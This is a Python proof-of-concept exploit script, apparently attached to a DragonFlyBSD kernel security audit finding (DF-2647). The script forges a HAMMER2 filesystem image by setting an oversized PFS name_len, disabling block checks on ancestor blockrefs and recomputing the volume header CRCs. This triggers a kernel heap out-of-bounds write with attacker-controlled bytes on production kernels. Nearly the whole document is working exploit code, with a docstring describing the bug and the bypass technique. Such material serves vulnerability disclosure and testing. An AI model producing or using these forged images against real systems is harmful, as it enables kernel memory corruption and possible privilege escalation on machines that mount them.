DragonFlyBSD Kernel Audit
DF-2647 / forge_df2647.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""
DF-2647 PoC image forger.

Takes the mkbase2647.sh base image (volume label "testvol", extra PFS
"zz_pwn") and forges the on-media meta.name_len (uint16 at inode+0x80)
of the "zz_pwn" PFS inode to LEN (>= 256).  The kernel's
hammer2_ioctl_pfs_get() (hammer2_ioctl.c:494-496) only guards this
length with a KKASSERT (INVARIANTS builds only):

    KKASSERT(ripdata->meta.name_len < sizeof(pfs->name));   // 256
    bcopy(ripdata->filename, pfs->name, ripdata->meta.name_len);
    pfs->name[ripdata->meta.name_len] = 0;

pfs (hammer2_ioc_pfs, 320 bytes) lives in a kmalloc'd M_IOCTLOPS
buffer (sys/kern/sys_generic.c:674-676), so on non-INVARIANTS
(production) kernels this is a kernel heap OOB WRITE of
(LEN - 256) bytes with attacker-controlled content past the end of
pfs->name[].

The bcopy SOURCE is inode+0x100 (filename[256]) -- as long as
(inode_off & 0xFFFF) + 0x100 + LEN <= 0x10000 the read stays inside
the 64KB DIO window, i.e. the ENTIRE smear content is attacker media.
We stamp the source region with the 8-byte marker "DF2647!!" while
keeping the leading original name + NUL (mount-time kstrdup/strcmp of
pfs_names needs an embedded NUL, vfsops.c:406/495).

Ancestor blockrefs on the path are set to methods=0x00 (CHECK_NONE,
testcheck returns 1 -- hammer2_chain.c:5531-5536, DF-2616's proven
technique) so no check recomputation is needed; only the three volume
header CRC32Cs are recomputed.

usage: forge_df2647.py <base.img> <out.img> <len-hex> [pfsname]
"""
import struct, sys

# ---------------- CRC32C (matches sys/libkern/icrc32.c) --------------------
def _mk():
    poly = 0x82F63B78
    t = []
    for n in range(256):
        c = n
        for _ in range(8):
            c = (c >> 1) ^ poly if (c & 1) else (c >> 1)
        t.append(c)
    return t
_T = _mk()

def iscsi_crc32(data):
    crc = 0xFFFFFFFF
    for b in data:
        crc = _T[(crc ^ b) & 0xFF] ^ (crc >> 8)
    return crc ^ 0xFFFFFFFF

assert iscsi_crc32(b"123456789") == 0xE3069283

RADIX_MASK = 0x3F
INODE_DATA_BLOCKSET = 0x200
BREF = 128
T_INODE, T_INDIRECT = 1, 2
STAMP = b"DF2647!!"

def bref_parse(buf, off):
    t, methods = struct.unpack_from('<2B', buf, off)
    key, mtid, modtid, doff, utid = struct.unpack_from('<QQQQQ', buf, off + 8)
    return dict(type=t, methods=methods, key=key, data_off=doff, off=off)

def recompute_volhdr_crcs(buf):
    c1 = iscsi_crc32(bytes(buf[512:1024]))
    struct.pack_into('<I', buf, 0x1E0 + 6 * 4, c1)
    c0 = iscsi_crc32(bytes(buf[0:508]))
    struct.pack_into('<I', buf, 0x1E0 + 7 * 4, c0)
    cv = iscsi_crc32(bytes(buf[0:0xFFFC]))
    struct.pack_into('<I', buf, 0xFFFC, cv)

def main():
    if len(sys.argv) < 4:
        print("usage: forge_df2647.py <base.img> <out.img> <len-hex> [pfsname]")
        sys.exit(2)
    base, out, lens = sys.argv[1:4]
    target = sys.argv[4].encode() if len(sys.argv) > 4 else b"zz_pwn"
    ln = int(lens, 16)
    assert 256 <= ln <= 0xFFFF

    img = bytearray(open(base, 'rb').read())
    volhdr = img[0:0x10000]
    assert struct.unpack_from('<Q', volhdr, 0)[0] == 0x48414D3205172011

    nocheck = set()
    found = []

    def scan_dir(blk, desc, depth):
        """walk sroot blockset + indirects; children are PFS inodes"""
        for i in range(4):
            boff = blk + INODE_DATA_BLOCKSET + i * BREF
            br = bref_parse(img, boff)
            if br['type'] == T_INODE and (br['data_off'] & RADIX_MASK):
                handle(br, desc + [(blk, boff)])
            elif br['type'] == T_INDIRECT and (br['data_off'] & RADIX_MASK):
                scan_indirect(br['data_off'] & ~RADIX_MASK,
                              br['data_off'] & RADIX_MASK,
                              desc + [(blk, boff)])
        return

    def scan_indirect(blk, radix, desc):
        nslots = min((1 << radix) // BREF, 1024)
        for i in range(nslots):
            boff = blk + i * BREF
            br = bref_parse(img, boff)
            if br['type'] == T_INODE and (br['data_off'] & RADIX_MASK):
                handle(br, desc + [(blk, boff)])
            elif br['type'] == T_INDIRECT and (br['data_off'] & RADIX_MASK):
                scan_indirect(br['data_off'] & ~RADIX_MASK,
                              br['data_off'] & RADIX_MASK,
                              desc + [(blk, boff)])

    def handle(br, desc):
        ioff = br['data_off'] & ~RADIX_MASK
        name = bytes(img[ioff + 0x100:ioff + 0x100 + 32]).split(b'\0')[0]
        nl = struct.unpack_from('<H', img, ioff + 0x80)[0]
        found.append((name, ioff, nl, desc))
        for (blk, b) in desc:
            nocheck.add(b)

    sroot0 = None
    for i in range(4):
        br = bref_parse(volhdr, 0x200 + i * BREF)
        if br['data_off']:
            sroot0 = br
            break
    sroot_blk = sroot0['data_off'] & ~RADIX_MASK
    print("[walk] sroot bref @%#x -> blk @%#x" % (sroot0['off'], sroot_blk))
    scan_dir(sroot_blk, [(0, sroot0['off'])], 0)

    tgt = None
    for (name, ioff, nl, desc) in found:
        print("[walk] PFS inode @%#x name=%r name_len=%d" % (ioff, name, nl))
        if name == target:
            tgt = (ioff, desc)
    assert tgt, "target PFS %r not found" % target
    ioff, desc = tgt

    # ---- forge ---------------------------------------------------------
    out_img = bytearray(img)

    # 1. keep name + NUL in the first bytes (mount scan needs termination)
    orig_name = bytes(img[ioff + 0x100:ioff + 0x100 + 16]).split(b'\0')[0]
    assert orig_name == target
    keep = len(orig_name) + 1

    # 2. stamp the smear source (filename[256] onward through the inode's
    #    64KB window) with DF2647!! markers.  The stamp must stop at the
    #    next real metadata block in the same window (the sroot inode
    #    block, shared with the PFS inode here) or mount-time walkers read
    #    stamp ASCII as blockrefs ("type 70" == 'F').
    win_end = (ioff & ~0xFFFF) + 0x10000
    src_lo = ioff + 0x100
    src_hi = min(ioff + 0x100 + ln, win_end)
    meta_bounds = sorted({sroot_blk} |
                         {o for (n, o, l, d) in found if o != ioff})
    for mb in meta_bounds:
        if mb > ioff:
            src_hi = min(src_hi, mb)
    for a in range(src_lo + keep, src_hi, 8):
        out_img[a:a + 8] = STAMP

    # 3. the hostile length itself
    struct.pack_into('<H', out_img, ioff + 0x80, ln)

    # 4. CHECK_NONE on all ancestor brefs incl. the volhdr sroot bref
    for b in nocheck:
        if b >= 0x10000:
            struct.pack_into('<B', out_img, b + 0x01, 0x00)
    struct.pack_into('<B', out_img, sroot0['off'] + 0x01, 0x00)
    recompute_volhdr_crcs(out_img)

    open(out, 'wb').write(out_img)
    over = ln - 256
    print("[+] forged %s: name_len=%#x inode@%#x" % (out, ln, ioff))
    print("[+] smear: %d bytes past pfs->name[256] (=%d past the 320B "
        "request, %d past the 512B zone block)" %
        (over, 64 + ln - 320, max(0, 64 + ln - 512)))
    print("[+] read stays in 64KB window: %s (src_hi=%#x win_end=%#x)" %
        (src_hi <= win_end, src_hi, win_end))

if __name__ == '__main__':
    main()